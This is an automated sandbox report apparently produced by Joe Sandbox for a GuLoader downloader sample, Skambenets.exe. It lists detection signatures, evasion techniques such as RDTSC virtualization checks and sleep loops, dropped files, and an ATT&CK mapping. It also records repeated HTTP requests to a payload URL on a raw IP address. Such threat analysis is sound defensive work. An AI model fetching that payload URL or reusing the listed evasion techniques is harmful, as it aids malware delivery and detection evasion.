Edit tour

Windows Analysis Report
Skambenets.exe

Overview

General Information

Sample name:	Skambenets.exe
Analysis ID:	1629090
MD5:	0519c157d2d7450690a1cef20ea51e8f
SHA1:	bfe39774f356f799bd74649330ab7baecb95c052
SHA256:	7dca3dbf4a0d99e7c86edafb83698994e9f89d2ec51de988f0f8c7ec54e4f81b
Tags:	exeuser-lowmal3
Infos:

Detection

GuLoader

Score:	68
Range:	0 - 100
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Yara detected GuLoader

Joe Sandbox ML detected suspicious sample

Switches to a custom stack to bypass stack traces

Tries to detect virtualization through RDTSC time measurements

Contains functionality for read data from the clipboard

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

May sleep (evasive loops) to hinder dynamic analysis

Sample execution stops while process was sleeping (likely an evasion)

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

Skambenets.exe (PID: 7444 cmdline: "C:\Users\user\Desktop\Skambenets.exe" MD5: 0519C157D2D7450690A1CEF20EA51E8F)

Skambenets.exe (PID: 6412 cmdline: "C:\Users\user\Desktop\Skambenets.exe" MD5: 0519C157D2D7450690A1CEF20EA51E8F)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000003.00000002.3271894571.0000000001810000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
00000000.00000002.1646073522.0000000004980000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-04T11:52:06.612237+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	49708	64.227.9.228	80	TCP
2025-03-04T11:52:38.017783+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	49710	64.227.9.228	80	TCP
2025-03-04T11:53:09.419386+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	49711	64.227.9.228	80	TCP
2025-03-04T11:53:40.810639+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	49712	64.227.9.228	80	TCP
2025-03-04T11:54:12.310854+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	49713	64.227.9.228	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: Skambenets.exe	Virustotal: Detection: 36%			Perma Link
Source: Skambenets.exe	ReversingLabs: Detection: 23%

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: Skambenets.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: C:\Users\user\Desktop\Skambenets.exe	Code function: 0_2_00405770 CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405770
Source: C:\Users\user\Desktop\Skambenets.exe	Code function: 0_2_0040622B FindFirstFileW,FindClose,	0_2_0040622B
Source: C:\Users\user\Desktop\Skambenets.exe	Code function: 0_2_0040276E FindFirstFileW,	0_2_0040276E
Source: C:\Users\user\Desktop\Skambenets.exe	Code function: 3_2_0040276E FindFirstFileW,	3_2_0040276E
Source: C:\Users\user\Desktop\Skambenets.exe	Code function: 3_2_00405770 CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	3_2_00405770
Source: C:\Users\user\Desktop\Skambenets.exe	Code function: 3_2_0040622B FindFirstFileW,FindClose,	3_2_0040622B

Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:49711 -> 64.227.9.228:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:49713 -> 64.227.9.228:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:49712 -> 64.227.9.228:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:49708 -> 64.227.9.228:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:49710 -> 64.227.9.228:80

Source: global traffic	HTTP traffic detected: GET /YHVeQtjrpzsrPH13.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: 64.227.9.228Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /YHVeQtjrpzsrPH13.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: 64.227.9.228Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /YHVeQtjrpzsrPH13.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: 64.227.9.228Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /YHVeQtjrpzsrPH13.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: 64.227.9.228Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /YHVeQtjrpzsrPH13.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: 64.227.9.228Cache-Control: no-cache

Source: unknown	TCP traffic detected without corresponding DNS query: 64.227.9.228
Source: unknown	TCP traffic detected without corresponding DNS query: 64.227.9.228
Source: unknown	TCP traffic detected without corresponding DNS query: 64.227.9.228
Source: unknown	TCP traffic detected without corresponding DNS query: 64.227.9.228
Source: unknown	TCP traffic detected without corresponding DNS query: 64.227.9.228
Source: unknown	TCP traffic detected without corresponding DNS query: 64.227.9.228
Source: unknown	TCP traffic detected without corresponding DNS query: 64.227.9.228
Source: unknown	TCP traffic detected without corresponding DNS query: 64.227.9.228
Source: unknown	TCP traffic detected without corresponding DNS query: 64.227.9.228
Source: unknown	TCP traffic detected without corresponding DNS query: 64.227.9.228
Source: unknown	TCP traffic detected without corresponding DNS query: 64.227.9.228
Source: unknown	TCP traffic detected without corresponding DNS query: 64.227.9.228
Source: unknown	TCP traffic detected without corresponding DNS query: 64.227.9.228
Source: unknown	TCP traffic detected without corresponding DNS query: 64.227.9.228
Source: unknown	TCP traffic detected without corresponding DNS query: 64.227.9.228
Source: unknown	TCP traffic detected without corresponding DNS query: 64.227.9.228
Source: unknown	TCP traffic detected without corresponding DNS query: 64.227.9.228
Source: unknown	TCP traffic detected without corresponding DNS query: 64.227.9.228
Source: unknown	TCP traffic detected without corresponding DNS query: 64.227.9.228
Source: unknown	TCP traffic detected without corresponding DNS query: 64.227.9.228
Source: unknown	TCP traffic detected without corresponding DNS query: 64.227.9.228
Source: unknown	TCP traffic detected without corresponding DNS query: 64.227.9.228
Source: unknown	TCP traffic detected without corresponding DNS query: 64.227.9.228
Source: unknown	TCP traffic detected without corresponding DNS query: 64.227.9.228
Source: unknown	TCP traffic detected without corresponding DNS query: 64.227.9.228

Source: global traffic	HTTP traffic detected: GET /YHVeQtjrpzsrPH13.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: 64.227.9.228Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /YHVeQtjrpzsrPH13.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: 64.227.9.228Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /YHVeQtjrpzsrPH13.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: 64.227.9.228Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /YHVeQtjrpzsrPH13.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: 64.227.9.228Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /YHVeQtjrpzsrPH13.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: 64.227.9.228Cache-Control: no-cache

Source: Skambenets.exe, 00000003.00000002.3273142264.0000000002DD8000.00000004.00000020.00020000.00000000.sdmp, Skambenets.exe, 00000003.00000002.3293245528.00000000325C0000.00000004.00001000.00020000.00000000.sdmp, Skambenets.exe, 00000003.00000002.3273142264.0000000002E14000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://64.227.9.228/YHVeQtjrpzsrPH13.bin
Source: Skambenets.exe, 00000003.00000002.3273142264.0000000002DD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://64.227.9.228/YHVeQtjrpzsrPH13.bin)U
Source: Skambenets.exe, 00000003.00000002.3273142264.0000000002DD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://64.227.9.228/YHVeQtjrpzsrPH13.bin3
Source: Skambenets.exe, 00000003.00000002.3273142264.0000000002DD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://64.227.9.228/YHVeQtjrpzsrPH13.bin4
Source: Skambenets.exe, 00000003.00000002.3273142264.0000000002DD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://64.227.9.228/YHVeQtjrpzsrPH13.bin8
Source: Skambenets.exe, 00000003.00000002.3273142264.0000000002E14000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://64.227.9.228/YHVeQtjrpzsrPH13.bindows
Source: Skambenets.exe, 00000003.00000002.3273142264.0000000002E14000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://64.227.9.228/YHVeQtjrpzsrPH13.binf
Source: Skambenets.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError

Source: C:\Users\user\Desktop\Skambenets.exe

Code function: 0_2_004052D1 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_004052D1

Source: C:\Users\user\Desktop\Skambenets.exe	Code function: 0_2_00403358 EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,ExitWindowsEx,ExitProcess,		0_2_00403358
Source: C:\Users\user\Desktop\Skambenets.exe	Code function: 3_2_00403358 EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,ExitWindowsEx,ExitProcess,		3_2_00403358

Source: C:\Users\user\Desktop\Skambenets.exe

File created: C:\Windows\resources\Bementite.ini

Jump to behavior

Source: C:\Users\user\Desktop\Skambenets.exe	Code function: 0_2_00404B0E	0_2_00404B0E
Source: C:\Users\user\Desktop\Skambenets.exe	Code function: 0_2_0040653D	0_2_0040653D
Source: C:\Users\user\Desktop\Skambenets.exe	Code function: 3_2_00404B0E	3_2_00404B0E
Source: C:\Users\user\Desktop\Skambenets.exe	Code function: 3_2_0040653D	3_2_0040653D

Source: C:\Users\user\Desktop\Skambenets.exe

Code function: String function: 00402B38 appears 47 times

Source: Skambenets.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal68.troj.evad.winEXE@3/9@0/1

Source: C:\Users\user\Desktop\Skambenets.exe

Code function: 0_2_004045C8 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_004045C8

Source: C:\Users\user\Desktop\Skambenets.exe

Code function: 0_2_0040206A CoCreateInstance,

0_2_0040206A

Source: C:\Users\user\Desktop\Skambenets.exe

File created: C:\Users\user\AppData\Roaming\Rigsantikvarernes

Jump to behavior

Source: C:\Users\user\Desktop\Skambenets.exe

File created: C:\Users\user\AppData\Local\Temp\nshD1F3.tmp

Jump to behavior

Source: Skambenets.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Skambenets.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Skambenets.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Skambenets.exe	Virustotal: Detection: 36%
Source: Skambenets.exe	ReversingLabs: Detection: 23%

Source: C:\Users\user\Desktop\Skambenets.exe

File read: C:\Users\user\Desktop\Skambenets.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Skambenets.exe "C:\Users\user\Desktop\Skambenets.exe"
Source: C:\Users\user\Desktop\Skambenets.exe	Process created: C:\Users\user\Desktop\Skambenets.exe "C:\Users\user\Desktop\Skambenets.exe"
Source: C:\Users\user\Desktop\Skambenets.exe	Process created: C:\Users\user\Desktop\Skambenets.exe "C:\Users\user\Desktop\Skambenets.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Skambenets.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Skambenets.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Skambenets.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Skambenets.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Skambenets.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\Skambenets.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Skambenets.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Skambenets.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Skambenets.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\Skambenets.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\Skambenets.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\Skambenets.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\Skambenets.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\Skambenets.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\Skambenets.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\Skambenets.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Skambenets.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\Skambenets.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Skambenets.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Skambenets.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Skambenets.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Skambenets.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Skambenets.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\Skambenets.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Skambenets.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Skambenets.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Skambenets.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Skambenets.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Skambenets.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Skambenets.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Skambenets.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Skambenets.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Skambenets.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Skambenets.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Skambenets.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Skambenets.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Skambenets.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\Skambenets.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\Skambenets.exe

File written: C:\Users\user\AppData\Roaming\Rigsantikvarernes\anticipatively.ini

Jump to behavior

Data Obfuscation

Yara detected GuLoader

Source: Yara match	File source: 00000003.00000002.3271894571.0000000001810000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1646073522.0000000004980000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\Skambenets.exe

Code function: 0_2_00406252 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_00406252

Source: C:\Users\user\Desktop\Skambenets.exe

Code function: 0_2_10002DB0 push eax; ret

0_2_10002DDE

Source: C:\Users\user\Desktop\Skambenets.exe

File created: C:\Users\user\AppData\Local\Temp\nsrF711.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\Skambenets.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Skambenets.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Skambenets.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\Skambenets.exe	API/Special instruction interceptor: Address: 514E9F8
Source: C:\Users\user\Desktop\Skambenets.exe	API/Special instruction interceptor: Address: 1FDE9F8

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\Skambenets.exe	RDTSC instruction interceptor: First address: 5112E65 second address: 5112E65 instructions: 0x00000000 rdtsc 0x00000002 test ch, bh 0x00000004 cmp ebx, ecx 0x00000006 jc 00007FAA2D16B734h 0x00000008 cmp dh, bh 0x0000000a inc ebp 0x0000000b cmp eax, ebx 0x0000000d inc ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Skambenets.exe	RDTSC instruction interceptor: First address: 1FA2E65 second address: 1FA2E65 instructions: 0x00000000 rdtsc 0x00000002 test ch, bh 0x00000004 cmp ebx, ecx 0x00000006 jc 00007FAA2D1614A4h 0x00000008 cmp dh, bh 0x0000000a inc ebp 0x0000000b cmp eax, ebx 0x0000000d inc ebx 0x0000000e rdtsc

Source: C:\Users\user\Desktop\Skambenets.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsrF711.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\Skambenets.exe TID: 7048

Thread sleep time: -40000s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\Skambenets.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\Skambenets.exe	Code function: 0_2_00405770 CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405770
Source: C:\Users\user\Desktop\Skambenets.exe	Code function: 0_2_0040622B FindFirstFileW,FindClose,	0_2_0040622B
Source: C:\Users\user\Desktop\Skambenets.exe	Code function: 0_2_0040276E FindFirstFileW,	0_2_0040276E
Source: C:\Users\user\Desktop\Skambenets.exe	Code function: 3_2_0040276E FindFirstFileW,	3_2_0040276E
Source: C:\Users\user\Desktop\Skambenets.exe	Code function: 3_2_00405770 CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	3_2_00405770
Source: C:\Users\user\Desktop\Skambenets.exe	Code function: 3_2_0040622B FindFirstFileW,FindClose,	3_2_0040622B

Source: Skambenets.exe, 00000003.00000002.3273142264.0000000002E2C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWB+PT
Source: Skambenets.exe, 00000003.00000002.3273142264.0000000002DD8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: Skambenets.exe, 00000003.00000002.3273142264.0000000002E2C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\Skambenets.exe	API call chain: ExitProcess graph end node			graph_0-4513
Source: C:\Users\user\Desktop\Skambenets.exe	API call chain: ExitProcess graph end node			graph_0-4508

Source: C:\Users\user\Desktop\Skambenets.exe

Code function: 0_2_00406252 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_00406252

Source: C:\Users\user\Desktop\Skambenets.exe

Process created: C:\Users\user\Desktop\Skambenets.exe "C:\Users\user\Desktop\Skambenets.exe"

Jump to behavior

Source: C:\Users\user\Desktop\Skambenets.exe

Code function: 0_2_00405F0A GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

0_2_00405F0A

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	11 Process Injection	11 Masquerading	OS Credential Dumping	21 Security Software Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Virtualization/Sandbox Evasion	LSASS Memory	1 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Clipboard Data	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	23 System Information Discovery	Distributed Component Object Model	Input Capture	11 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report
Skambenets.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Skambenets.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
Skambenets.exe